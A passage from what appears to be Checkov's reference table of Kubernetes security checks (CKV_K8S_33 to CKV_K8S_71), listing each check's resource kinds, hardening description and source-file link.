[KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 232 | CKV_K8S_33 | resource | PodTemplate | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 233 | CKV_K8S_33 | resource | ReplicaSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 234 | CKV_K8S_33 | resource | ReplicationController | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 235 | CKV_K8S_33 | resource | StatefulSet | Ensure the Kubernetes dashboard is not deployed | Kubernetes | [KubernetesDashboard.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubernetesDashboard.py) | | 236 | CKV_K8S_34 | resource | CronJob | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 237 | CKV_K8S_34 | resource | DaemonSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 238 | CKV_K8S_34 | resource | Deployment | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 239 | CKV_K8S_34 | resource | DeploymentConfig | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 240 | CKV_K8S_34 | resource | Job | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 241 | CKV_K8S_34 | resource | Pod | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 242 | CKV_K8S_34 | resource | PodTemplate | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 243 | CKV_K8S_34 | resource | ReplicaSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 244 | CKV_K8S_34 | resource | ReplicationController | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 245 | CKV_K8S_34 | resource | StatefulSet | Ensure that Tiller (Helm v2) is not deployed | Kubernetes | [Tiller.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Tiller.py) | | 246 | CKV_K8S_35 | resource | CronJob | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 247 | CKV_K8S_35 | resource | DaemonSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 248 | CKV_K8S_35 | resource | Deployment | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 249 | CKV_K8S_35 | resource | DeploymentConfig | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 250 | CKV_K8S_35 | resource | Job | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 251 | CKV_K8S_35 | resource | Pod | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 252 | CKV_K8S_35 | resource | PodTemplate | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 253 | CKV_K8S_35 | resource | ReplicaSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 254 | CKV_K8S_35 | resource | ReplicationController | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 255 | CKV_K8S_35 | resource | StatefulSet | Prefer using secrets as files over secrets as environment variables | Kubernetes | [Secrets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/Secrets.py) | | 256 | CKV_K8S_36 | resource | PodSecurityPolicy | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilitiesPSP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilitiesPSP.py) | | 257 | CKV_K8S_37 | resource | CronJob | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 258 | CKV_K8S_37 | resource | DaemonSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 259 | CKV_K8S_37 | resource | Deployment | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 260 | CKV_K8S_37 | resource | DeploymentConfig | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 261 | CKV_K8S_37 | resource | Job | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 262 | CKV_K8S_37 | resource | Pod | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 263 | CKV_K8S_37 | resource | PodTemplate | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 264 | CKV_K8S_37 | resource | ReplicaSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 265 | CKV_K8S_37 | resource | ReplicationController | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 266 | CKV_K8S_37 | resource | StatefulSet | Minimize the admission of containers with capabilities assigned | Kubernetes | [MinimizeCapabilities.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/MinimizeCapabilities.py) | | 267 | CKV_K8S_38 | resource | CronJob | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 268 | CKV_K8S_38 | resource | DaemonSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 269 | CKV_K8S_38 | resource | Deployment | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 270 | CKV_K8S_38 | resource | Job | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 271 | CKV_K8S_38 | resource | Pod | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 272 | CKV_K8S_38 | resource | ReplicaSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 273 | CKV_K8S_38 | resource | ReplicationController | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 274 | CKV_K8S_38 | resource | StatefulSet | Ensure that Service Account Tokens are only mounted where necessary | Kubernetes | [ServiceAccountTokens.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py) | | 275 | CKV_K8S_39 | resource | CronJob | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 276 | CKV_K8S_39 | resource | DaemonSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 277 | CKV_K8S_39 | resource | Deployment | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 278 | CKV_K8S_39 | resource | DeploymentConfig | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 279 | CKV_K8S_39 | resource | Job | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 280 | CKV_K8S_39 | resource | Pod | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 281 | CKV_K8S_39 | resource | PodTemplate | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 282 | CKV_K8S_39 | resource | ReplicaSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 283 | CKV_K8S_39 | resource | ReplicationController | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 284 | CKV_K8S_39 | resource | StatefulSet | Do not use the CAP_SYS_ADMIN linux capability | Kubernetes | [AllowedCapabilitiesSysAdmin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/AllowedCapabilitiesSysAdmin.py) | | 285 | CKV_K8S_40 | resource | CronJob | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 286 | CKV_K8S_40 | resource | DaemonSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 287 | CKV_K8S_40 | resource | Deployment | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 288 | CKV_K8S_40 | resource | Job | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 289 | CKV_K8S_40 | resource | Pod | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 290 | CKV_K8S_40 | resource | ReplicaSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 291 | CKV_K8S_40 | resource | ReplicationController | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 292 | CKV_K8S_40 | resource | StatefulSet | Containers should run as a high UID to avoid host conflict | Kubernetes | [RootContainersHighUID.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RootContainersHighUID.py) | | 293 | CKV_K8S_41 | resource | ServiceAccount | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccount.py) | | 294 | CKV_K8S_42 | resource | ClusterRoleBinding | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py) | | 295 | CKV_K8S_42 | resource | RoleBinding | Ensure that default service accounts are not actively used | Kubernetes | [DefaultServiceAccountBinding.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DefaultServiceAccountBinding.py) | | 296 | CKV_K8S_43 | resource | CronJob | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 297 | CKV_K8S_43 | resource | DaemonSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 298 | CKV_K8S_43 | resource | Deployment | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 299 | CKV_K8S_43 | resource | DeploymentConfig | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 300 | CKV_K8S_43 | resource | Job | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 301 | CKV_K8S_43 | resource | Pod | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 302 | CKV_K8S_43 | resource | PodTemplate | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 303 | CKV_K8S_43 | resource | ReplicaSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 304 | CKV_K8S_43 | resource | ReplicationController | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 305 | CKV_K8S_43 | resource | StatefulSet | Image should use digest | Kubernetes | [ImageDigest.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ImageDigest.py) | | 306 | CKV_K8S_44 | resource | Service | Ensure that the Tiller Service (Helm v2) is deleted | Kubernetes | [TillerService.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerService.py) | | 307 | CKV_K8S_45 | resource | CronJob | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 308 | CKV_K8S_45 | resource | DaemonSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 309 | CKV_K8S_45 | resource | Deployment | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 310 | CKV_K8S_45 | resource | DeploymentConfig | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 311 | CKV_K8S_45 | resource | Job | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 312 | CKV_K8S_45 | resource | Pod | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 313 | CKV_K8S_45 | resource | PodTemplate | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 314 | CKV_K8S_45 | resource | ReplicaSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 315 | CKV_K8S_45 | resource | ReplicationController | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 316 | CKV_K8S_45 | resource | StatefulSet | Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster | Kubernetes | [TillerDeploymentListener.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py) | | 317 | CKV_K8S_49 | resource | ClusterRole | Minimize wildcard use in Roles and ClusterRoles | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py) | | 318 | CKV_K8S_49 | resource | Role | Minimize wildcard use in Roles and ClusterRoles | Kubernetes | [WildcardRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/WildcardRoles.py) | | 319 | CKV_K8S_68 | resource | CronJob | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 320 | CKV_K8S_68 | resource | DaemonSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 321 | CKV_K8S_68 | resource | Deployment | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 322 | CKV_K8S_68 | resource | DeploymentConfig | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 323 | CKV_K8S_68 | resource | Job | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 324 | CKV_K8S_68 | resource | Pod | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 325 | CKV_K8S_68 | resource | PodTemplate | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 326 | CKV_K8S_68 | resource | ReplicaSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 327 | CKV_K8S_68 | resource | ReplicationController | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 328 | CKV_K8S_68 | resource | StatefulSet | Ensure that the --anonymous-auth argument is set to false | Kubernetes | [ApiServerAnonymousAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerAnonymousAuth.py) | | 329 | CKV_K8S_69 | resource | CronJob | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 330 | CKV_K8S_69 | resource | DaemonSet | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 331 | CKV_K8S_69 | resource | Deployment | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 332 | CKV_K8S_69 | resource | DeploymentConfig | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 333 | CKV_K8S_69 | resource | Job | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 334 | CKV_K8S_69 | resource | Pod | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 335 | CKV_K8S_69 | resource | PodTemplate | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 336 | CKV_K8S_69 | resource | ReplicaSet | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 337 | CKV_K8S_69 | resource | ReplicationController | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 338 | CKV_K8S_69 | resource | StatefulSet | Ensure that the --basic-auth-file argument is not set | Kubernetes | [ApiServerBasicAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerBasicAuthFile.py) | | 339 | CKV_K8S_70 | resource | CronJob | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 340 | CKV_K8S_70 | resource | DaemonSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 341 | CKV_K8S_70 | resource | Deployment | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 342 | CKV_K8S_70 | resource | DeploymentConfig | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 343 | CKV_K8S_70 | resource | Job | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 344 | CKV_K8S_70 | resource | Pod | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 345 | CKV_K8S_70 | resource | PodTemplate | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 346 | CKV_K8S_70 | resource | ReplicaSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 347 | CKV_K8S_70 | resource | ReplicationController | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 348 | CKV_K8S_70 | resource | StatefulSet | Ensure that the --token-auth-file argument is not set | Kubernetes | [ApiServerTokenAuthFile.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerTokenAuthFile.py) | | 349 | CKV_K8S_71 | resource | CronJob | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 350 | CKV_K8S_71 | resource | DaemonSet | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 351 | CKV_K8S_71 | resource | Deployment | Ensure that the --kubelet-https argument is set to true | Kubernetes | [ApiServerKubeletHttps.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/ApiServerKubeletHttps.py) | | 352 | CKV_K8S_71 | resource | DeploymentConfig | Ensure that the --kubelet-https argument is set to true | Kubernetes | 